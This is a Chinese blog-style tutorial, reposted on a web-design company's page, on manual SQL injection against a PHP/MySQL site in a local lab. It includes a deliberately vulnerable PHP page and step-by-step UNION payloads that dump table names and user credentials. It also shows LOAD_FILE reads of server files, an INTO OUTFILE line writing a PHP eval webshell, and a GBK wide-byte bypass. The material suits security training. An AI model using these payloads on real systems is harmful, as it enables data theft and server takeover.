资讯动态

MySQL手工SQL注入实战:从注入点判断到文件读写全流程

发布时间:2026/10/21 18:51:01 来源:尧图企业网站定制
1. 手工注入到底有什么不可替代的价值聊到SQL注入很多人第一反应就是拿sqlmap一把梭参数一丢跑出来什么就是什么。我自己也这么干了好多年sqlmap确实高效尤其在时间盲注、大量数据获取这些场景下手工一条条去猜简直是在浪费生命。但实战中你总会遇到工具“失灵”的时候比如注入点藏在HTTP头里、请求参数有签名校验、WAF对自动化工具的特征拦截得很死、或者目标站只回显“成功/失败”两个状态。这些场景下能自己手工判断闭合方式、构造payload、组织联合查询语句才是真正解决问题的底牌。还有一层原因更现实没有扎实的手工注入功底你连sqlmap报错都看不懂。比如sqlmap跑不出数据时提示“unable to retrieve data”到底是因为payload被过滤了还是因为页面本身没回显还是数据库版本不支持某类函数这些排查逻辑全都依赖你对原理的理解。工具只是把你的判断自动化了它替你做的事越多你反而越难建立“判断——验证——修正”这条反馈链。这篇博文聚焦的是MySQLPHP这套黄金组合下的手工注入全流程。PHP配MySQL基本是Web开发里最常见的搭配之一不管是老项目还是教学环境这套组合出现频率极高。文章里我会从注入点判断开始一路把猜列数、报错、联合查询、读取数据、文件读写这些环节拆开讲每个步骤都给出实际测试中会遇到的坑和绕过思路。顺手也会把很多教程没写清楚的“为什么这样做”补明白——比如为什么字段数是2的时候才能用union select 1,2为什么information_schema里的表名会有那么多限制为什么有些站能读文件却写不了shell。这篇内容适合三类人看一是刚学完基础概念但对实际操作还处于懵懂阶段的初学者二是能把工具跑通但遇到变形场景就卡住的进阶者三是需要带新人或者做验收测试、偶尔要自己手动验证风险的老手。SQL注入的门槛不在记住多少函数和payload而在你能否在一个黑盒环境里通过页面反馈一点点拼出数据库的真实结构这篇就是整套拼图的过程。2. 搭靶场Windows本机五分钟建好MySQLPHP测试环境手工注入是个极度依赖“即时反馈”的活儿拿公网目标练手既危险又不可控所以我强烈建议在本地搭一个靶场。下面这套是我平时顺手用的配置也是很多教学环境的标准组合。2.1 环境版本与组件说明操作系统Windows 10/1164位其实Linux也行我这里说Windows是为了照顾大多数初学者的习惯PHP版本5.6或7.x都行更老的5.2、5.3也对以前老项目的经典搭配就是PHP 5.xMySQL 5.xWeb服务器Apache 2.4数据库MySQL 5.7重点说明一下如果你用MySQL 8.x很多默认配置变了尤其是密码认证插件这块跟老文章的写法会差很多新手建议直接用5.7这里有一个很关键的点PHP 5.x和MySQL 5.7的组合下mysql_query、mysql_fetch_array这些老函数还能用这套老接口出现过大量注入教程和靶场代码很多经典示例都是基于这套写的。而PHP 7.x开始mysql_*系列就被移除了只能用mysqli或PDO。所以我建议想完全按本文一步步复现的朋友直接用phpStudy或者类似集成环境选PHP 5.6MySQL 5.7这套组合能省去大量环境兼容的折腾。2.2 一个极简的注入演示页面靶场的核心就是一个把用户输入直接拼进SQL的页面。我写了一个最典型的例子注意这代码是“故意写坏”的只用于本地学习千万别往任何正式环境里放。?php $conn mysql_connect(localhost, root, root) or die(数据库连接失败); mysql_select_db(test_db, $conn); mysql_query(set names utf8); $id isset($_GET[id]) ? $_GET[id] : 1; $sql SELECT * FROM users WHERE id$id LIMIT 1; $result mysql_query($sql); if (!$result) { die(查询出错 . mysql_error()); } $row mysql_fetch_array($result); if ($row) { echo ID: . $row[id] . br; echo 用户名: . $row[username] . br; echo 邮箱: . $row[email] . br; } else { echo 没有查到数据; } echo hr当前SQL: . $sql; ?页面把SQL语句直接打印出来这个操作在实际渗透测试中不可能出现但作为学习环境它帮你在第一次判断注入类型时建立非常直观的印象。表结构就三列id、username、email数据灌了三条进去注入目标就两个脱库拿全部账号信息以及后续文件读写测试。我的建议是在刚开始练手阶段把SQL打印留着先搞清楚“参数进入SQL后产生的变化”等搞通了再删掉打印语句模拟真实渗透里看不到SQL的“黑盒”状态练习靠回显内容反推语句执行情况。2.3 为什么要坚持手工而不用工具跑靶场有人可能觉得本地靶场直接跑一下sqlmap不就行了练手工干嘛。其实手工的价值在靶场上体现得更充分因为环境是你自己完全掌控的你可以改参数、加过滤函数、关报错显示一步步观察不同防护条件下的响应变化。这种“改造条件”的能力恰恰是工具给不了你的。我常用的做法是给靶场页面加一个开关变量比如$filter true时对传入参数做addslashes处理或者替换掉敏感关键字然后观察手工构造的同一个payload在开/关过滤下的不同反应。这种对比测试能把很多“为什么我的payload没生效”的问题从玄学变成可解释的逻辑。3. 注入点判断从“什么都没发生”到“确认漏洞”很多人学SQL注入时的第一个坎就是不知道怎么判断一个参数是否存在注入。当你访问一个正常页面时看到的是“ID: 1 用户名: test”一切都很正常当你输入id1时页面报错或者变空白就开始慌了。其实这一来一回正是SQL注入的核心逻辑在跟你对话。3.1 数字型注入与字符型注入的判断差异先看最基础的数字型判断逻辑。原始SQL长这样SELECT * FROM users WHERE id$id LIMIT 1当$id1时SQL就是SELECT * FROM users WHERE id1这是数字直接参与比较。此时你输入id1实际SQL变成SELECT * FROM users WHERE id1 LIMIT 1数据库执行到这里1后面多了个单引号语法直接报错。如果页面开了报错显示你会看到类似You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near LIMIT 1 at line 1这样的信息。这个报错信息本身就是第一条关键证据——说明输入被拼进SQL语句了而且闭合方式没处理好。再看字符型的判断逻辑。比如登录页面的SQL可能是SELECT * FROM users WHERE username$name AND password$pass这里你输入的参数是被一对单引号包裹的如果输入一个admin闭合就会变成usernameadmin两个单引号相邻语法一样会报错。但值得注意的是有些字符型查询即使语法正确页面也可能报“查询结果为空”而不是语法错误因为你的输入改变了原本的查询语义。一个实用的判断口诀是数字型注入看“报错还是正常”字符型注入看“闭合有没有被打破”。当你想确认某个参数是否存在注入时先丢一个单引号过去看反应再丢一个1 and 11对比1 and 12的响应差异。3.2 三种典型页面反馈模式与应对结论我在实际测试中几乎只会遇到三种情况整理成了表格方便对照输入内容页面反馈特征初步结论1页面报SQL语法错误或直接白屏大概率存在字符型/数字型注入闭合被破坏1页面还是正常显示没有任何变化可能被转义了addslashes/real_escape_string也可能参数没进SQL1页面显示内容不同但无SQL错误可能是报错被屏蔽也可能闭合方式特殊需要继续试探第三种情况最常见也最容易误判。页面不报SQL错误不代表没有注入可能只是生产环境把display_errors关掉了或者框架自己catch了异常。此时要换一个非破坏性的验证思路不制造语法错误而是利用条件的真假造成页面数据变化。比如输入1 and 11显示ID为1的数据再输入1 and 12如果页面显示“没有查到数据”或者空白说明条件生效并能改变查询逻辑那这个点就是注入点。这个方法的巧妙之处在于它不依赖报错信息只要页面有“数据存在/不存在”的差异就能判断。3.3 无回显场景下的判断思路布尔盲注起点前面说的“页面有没有数据”本身就是回显。在完全无回显的场景下比如某个接口只返回JSON格式的{status:success}或{status:fail}你依然可以判断注入方法就是通过这两种状态的差异来推理。这个思路在SQL注入里叫布尔盲注属于手工注入的进阶内容。布尔盲注的基础就是构造一个能让查询结果真假二分的条件一个字符一个字符去猜数据。比如1 AND (SELECT substring(database(),1,1))t如果数据库名第一个字符是t页面返回成功状态否则返回失败。这样通过几十次请求就能把数据库名完整还原出来。这个过程虽然慢但手工跑出来的每一步都是可验证的而且对后续用工具提速也有极大帮助——因为你已经能看懂工具在干什么了。4. 联合注入完整流程猜列数、爆库、爆表、爆字段、爆数据一旦确认某个点存在注入而且页面有正常的回显位最优先的手段就是联合查询注入。联合查询的核心思路是让正常查询的结果为空然后把我们构造的查询结果合并进来显示在页面上。这套流程就是SQL注入里的“标准打法”。4.1 ORDER BY猜列数为什么是二分法而非逐个试联合查询有个严格的限制UNION SELECT前后两个查询的列数必须一致。如果你不知道原查询有几个字段直接上union select 1,2,3大概率会报错。所以第一步永远是猜列数。最经典的手段是用ORDER BY。MySQL里ORDER BY可以接数字表示按第几列排序当数字超过列数上限时SQL会报错“Unknown column”。所以你可以用1 ORDER BY 1、1 ORDER BY 2……依次往上加直到报错的那一次就是边界。不过我的习惯是用二分法而不是从1挨个跑到10。假设猜测列数在1到10之间先试1 ORDER BY 5如果正常说明列数至少5列再试1 ORDER BY 8如果报错说明列数在5到7之间继续往中间试。几轮就能把列数确定下来比线性跑省很多请求。在真实渗透中少一个请求就少一分被发现的概率这个习惯值得养成。4.2 UNION SELECT的列位匹配与回显定位确定了列数之后下一步是确定哪些位置可以被利用来显示数据。假如列数是3用下面的payload1 UNION SELECT 1,2,3此时页面可能显示的是ID: 1、用户名: 2、邮箱: 3或者正常数据被挤到别的位置但2和3出现在了原本用户名和邮箱的位置。这一步的目的就是找出“哪些列的位置会原样输出到页面上”后面把你的恶意查询串写在这些位置就能看到数据。这里必须要说一个新手常踩的坑如果原查询第一条就返回了数据UNION不会合并第二条SELECT的结果因为UNION默认会去重而且第一条结果存在时页面只显示第一条。所以联合注入通常要让前面查询的结果为空最简单的办法是把id传成一个不存在的负值比如-1 UNION SELECT 1,2,3。这个细节极其重要很多人在本地靶场测的时候发现怎么都不出数据其实只是没把第一条置空。可以把这个思路理解为“正面走不通就绕路”原查询的职责是取指定id的数据你给它一个找不到id的值它就什么都查不到此时UNION的第二条查询结果就成了唯一的输出来源页面自然按固定模板把它显示出来。4.3 information_schema获取库名表名字段名当UNION SELECT的回显位确定后下一步就是通过MySQL的系统库information_schema来获取数据库结构。这个库是MySQL自带的元数据仓库里面存了所有数据库、表、列的信息是手工注入的信息金矿。获取当前数据库名-1 UNION SELECT database(),2,3如果页面显示了数据库名比如test_db后面的所有查询都可以把这个库名限定住。接下来获取这个库里所有的表名-1 UNION SELECT table_name,2,3 FROM information_schema.tables WHERE table_schematest_db这一步可能查出多个表名页面通常只显示一行这时可以用LIMIT 0,1、LIMIT 1,1这样逐条翻或者用GROUP_CONCAT(table_name)把多个表名拼成一行输出。GROUP_CONCAT在注入里是个非常好用的函数可以把查询结果合并成一个字符串一次请求就能拿到全部表名极大减少请求次数。拿到表名之后继续获取指定表的字段名-1 UNION SELECT column_name,2,3 FROM information_schema.columns WHERE table_schematest_db AND table_nameusers获取users表里的字段比如id、username、email、password。有了库名、表名、字段名最后一步就是脱数据。比如-1 UNION SELECT username,password,3 FROM users这里我直接把password的明文或者哈希查出来。如果是哈希你在拿到之后还需要判断哈希类型、尝试离线破解这部分后面展开。4.4 手工脱库的完整命令列表与输出解读把整个流程串起来实际上就是下面这几条命令的顺序执行。我直接给你一个可以在靶场复现的完整序列-- 判断数据库名 -1 UNION SELECT database(),2,3 -- 获取库下所有表名 -1 UNION SELECT GROUP_CONCAT(table_name),2,3 FROM information_schema.tables WHERE table_schematest_db -- 获取users表的所有字段 -1 UNION SELECT GROUP_CONCAT(column_name),2,3 FROM information_schema.columns WHERE table_schematest_db AND table_nameusers -- 脱取全部账号数据 -1 UNION SELECT GROUP_CONCAT(username,---,password),2,3 FROM users每个步骤的输出你都应该能看懂表名、字段名、数据内容一层层递进。这个流程走通一次你就理解了“information_schema是数据库结构的索引”这个说法的真正含义。后续不管遇到什么手工注入难题本质上都是在跟这个“索引”打交道。5. 读文件与写文件常用功能在真实测试中的边界问题联合注入不只是拿数据MySQL本身提供文件读写的功能注入点在具备相应权限时可以读取服务器上的敏感文件甚至写入webshell。这部分是SQL注入从“数据层”走向“系统层”的关键一步但也有很多前提条件。5.1 load_file读取服务器敏感文件的思路与限制MySQL的LOAD_FILE函数可以在注入中用来读取服务器上的文件内容前提有三个当前连接的MySQL用户拥有FILE权限目标文件对MySQL进程可读以及文件的绝对路径已知。典型的目标文件包括配置文件、日志文件、Web应用源码等。在联合注入里读取文件的payload很简单-1 UNION SELECT LOAD_FILE(C:/Windows/win.ini),2,3或者更实战一点的路径比如PHP站点配置文件常常在/var/www/html/config.phpLinux环境或者某集成环境的路径。读取成功后配置信息里的数据库账号密码、站点绝对路径、各种密钥就都暴露了。这个手段最尴尬的地方是“文件的绝对路径必须知道”而路径本身往往又需要通过其他方式获取比如报错信息泄露物理路径、或者phpinfo页面泄露DOCUMENT_ROOT。所以我在实战中如果感觉某个站有内容管理后台通常会先翻一下首页源码里的静态资源路径有时能顺藤摸瓜摸到上传目录的绝对路径。5.2 INTO OUTFILE写webshell的失败案例分析写入文件是另一个方向SQL注入把一段WebShell代码通过INTO OUTFILE写到网站的web目录下然后用浏览器访问这个文件获得命令执行权限。这个攻击路径在互联网早期非常常见现在限制条件多了一些但内网测试中仍然可能遇到。标准payload是这样的注意是写入Web目录下的一个PHP文件-1 UNION SELECT ?php eval($_POST[x]);?,2,3 INTO OUTFILE C:/wwwroot/shell.php但实际测试中这条语句经常失败原因集中在几个层面MySQL配置里secure_file_priv参数可能限制了导出目录目标是Linux系统的权限设置导致Web目录不可写更常见的是Web目录路径没有找对。我印象很深的一次测试是在某内网系统上所有条件都满足但导出的文件页面上访问总是404后来发现是Web服务器配置的站点根目录和我写入的物理目录根本不是同一个这个问题绕了很久才定位。所以做文件写入测试时第一步是确认当前数据库账号是否有写权限第二步是确认目标目录存在且有写入权限第三步是确认写出来的文件能被Web服务器解析执行。这三个确认缺一不可否则白忙活。5.3 为什么文件读写测试在真实场景中越来越少见这里说句实在话现在的公网Web应用SQL注入点本身就已经少了能走到文件读写这一步的更是凤毛麟角。主要原因有几个一是PHP和MySQL的权限配置越来越严格默认情况下不再给所有账户FILE权限二是容器化部署越来越普及MySQL可能跑在单独的容器里文件系统跟Web容器是隔离的三是Web应用防火墙对INTO OUTFILE这类特征明显的payload拦截率很高。但这不代表你不需要掌握这个技能。内网渗透、老系统维护、安全评估这些场景里文件读写仍然是SQL注入升级为系统控制的重要通道。就算现在用不上理解它的原理也有助于你排查线上异常——比如某天你看到数据库临时目录里出现了可疑的PHP文件你能第一时间想到这是不是被SQL注入写入的。6. 实际问题排查手册手工注入高频翻车点与处理思路手工注入看着步骤清晰一到实战就不断“翻车”这太正常了。这里把最常遇到的情况汇总成一张排查对照表每一条都是我实际踩过的坑。对照着查能让你少走很多弯路。现象可能原因处理思路输入单引号后页面无任何变化参数被转义或根本未进入SQL查询尝试宽字节注入GBK编码下%bf%27或换一个输入位置测试页面报错但无SQL错误信息display_errors关闭或框架接管异常改用布尔盲注或时间盲注判断不要依赖报错回显ORDER BY猜列数全部正常页面可能把SQL错误吞掉了改用union select依次增加列数观察内容回显变化UNION SELECT后数据不显示第一条查询结果不为空UNION被去重把id改成负数或不存在值确保第一条为空GROUP_CONCAT返回结果过长被截断PHP页面输出字段有长度限制改用LIMIT 0,1逐条查看或追加SUBSTRING分段读取表名包含特殊字符导致查询出错表名、字段名是关键字或含反引号用反引号包裹表名/字段名比如orderinformation_schema查不到目标表当前账号权限受限或表不在目标库下先确认database()是否为权限库尝试猜默认库名页面有数据但无法判断哪一列在回显模板固定输出位置有限交替修改各列值逐个确认回显列优先测最后一列SQL执行成功但页面500可能是查询结果被应用层处理异常检查是否查询出了超长字段限制结果行数观察报错显示“Out of range”使用了一些不支持的数据类型在UNION位置使用NULL或字符串注意类型匹配6.1 编码导致的注入绕过基础宽字节注入的触发条件如果是GBK编码的系统且程序使用了addslashes这类函数转义单引号就存在宽字节注入的可能。原理说起来很简单addslashes会在前加一个反斜杠变成\但如果在反斜杠前再加一个%bf在GBK编码下%bf%5c会被解析成一个汉字反斜杠就被“吃掉”了后面的单引号就逃逸出来闭合了前面的引号。这个技巧在PHP 5.x的经典环境里非常实用。但有一个前提条件必须在实操中确认数据库连接编码必须是GBK或GB2312且客户端和服务器之间的编码转换链路是通的。现在很多项目都改UTF-8了宽字节注入的生存空间被压缩得很厉害但你在处置老系统时仍然值得一试。6.2 MySQL 8.0带来的信息获取差异问题有一些新的MySQL版本差异需要单独提醒。MySQL 8.0移除了旧的mysql_query接口同时information_schema里部分表的结构也发生了变化。比如在MySQL 8.0里查information_schema.columns时可能查不到的一部分字段你需要用最新的系统表结构来做查询。还有MySQL 8.0默认的身份认证插件是caching_sha2_password如果靶场配的是这款早期PHP版本会出现连接认证失败问题。所以只要是我自己搭的靶场我倾向于用5.7作为标准版本。不是8.0不能学而是5.7遇到问题的概率更低能让你把精力集中在注入思路本身上。你熟练了5.7的套路再去对比8.0的差异就很快上手了。6.3 一条完整的实战排错次序参考当你用工具或手工注入某目标失败时我这里有一套常用的排查次序基本能覆盖大多数情况第一步确认参数是否真的进了SQL。先在原始请求后面拼一个看页面是否报错或是否出现了与原始页面不同的异常如果什么反应都没有再试1 and 11和1 and 12对比确认条件效果。第二步确认注入类型是数字型还是字符型。如果日期参数或文本参数报了错判断闭合方式是还是还是)这类组合形式。第三步确认回显方式。页面能输出数据就用联合查询只能显示存在/不存在就用布尔盲注完全无响应变化就上时间盲注用sleep(5)判断条件。第四步补全数据库和表的版本信息。先获取version()、database()、datadir这些基础信息再开始猜表名最好借助information_schema而不是纯字典硬猜。这套次序我每次手工检测都走一遍既快又不容易漏掉细节建议初学者也按这个框架来练。7. 手工注入练手的路径建议与两条独家经验最后聊点实操外的体会。SQL注入这个领域看教程和你真正“自己跑通一次”之间差距大到没法形容。很多人看了好几遍“MySQL注入流程”的文章一动手还是卡在第一条payload上。这不是你笨而是因为教程细枝末节太多真正关键的那几步被淹没了。我建议的练手路径很简单本地搭靶场从数字型注入开始完整跑通“查列数-联合查询-拿库表字段-脱数据-读文件”全流程然后把数字型改成字符型再跑一遍感受一下闭合方式的差异。第二个建议是每次测试都手动记录请求和响应哪怕只是在文档里贴一下当时的payload和页面反馈。这有两个好处一是排查问题时你能回看自己的操作链二是积累一段时间后你会发现很多“疑难杂症”其实都是同一类原因导致的——比如第一次的payload执行成功但没显示出来往往就是回显位置没对。我自己做过的最“笨”但也最有效的一件练习就是把同一个注入点用三种方式各打一遍手工联合注入、手工布尔盲注、手工时间盲注。虽然靶场就那几个表但每换一种方式你对SQL执行机制的理解就加深一层。这个习惯跟工具无关但它决定了你在遇到奇怪场景时是能自己拆解问题还是只能干瞪眼。SQL注入发展到今天各种防御手段层出不穷但核心的“输入被拼进命令”这个根问题只要还存在一天手工注入这套基本功就永远不会过时。

读完文章,也想定制专属网站?

尧图设计师 24 小时内与您沟通定制方案

免费获取报价 →
↑